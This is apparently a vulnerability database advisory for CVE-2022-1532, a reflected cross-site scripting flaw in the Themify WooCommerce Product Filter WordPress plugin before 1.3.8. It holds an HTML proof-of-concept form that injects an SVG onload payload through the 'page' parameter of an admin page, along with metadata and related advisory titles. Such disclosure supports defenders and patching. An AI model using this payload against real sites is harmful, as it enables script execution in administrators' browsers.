Themify – WooCommerce Product Filter < 1.3.8 – Reflected Cross-Site Scripting | CVE 2022-1532 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the page parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpf_search" method="POST">
      <input type="hidden" name="page" value='wpf_search"><svg/onload=prompt(/XSS/)>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

themify-wc-product-filter

Fixed in 1.3.8

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Utkarsh Agrawal

Submitter

Utkarsh Agrawal

Submitter website

https://smart7.in

Submitter twitter

Verified

Yes

WPVDB ID

d106cd93-cb9b-4558-9a29-0d556fd7c9e1

Timeline

Publicly Published

2022-05-18 (about 3 years ago)

Added

2022-05-18 (about 3 years ago)

Last Updated

2023-02-12 (about 2 years ago)

Other

Published

Title

Published

2022-05-16

Title

FiboSearch < 1.18.0 - Admin+ Stored Cross-Site Scripting

Published

2024-11-08

Title

Trendy Restaurant Menu <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2018-05-16

Title

CF7 Invisible reCaptcha <= 1.3.1 - XSS

Published

2024-09-30

Title

Create < 2.9.2 - Authenticated (Author+) Stored Cross-Site Scripting

Published

2024-04-16

Title

BA Book Everything < 1.6.9 - Authenticated (Administrator+) Stored Cross-Site Scripting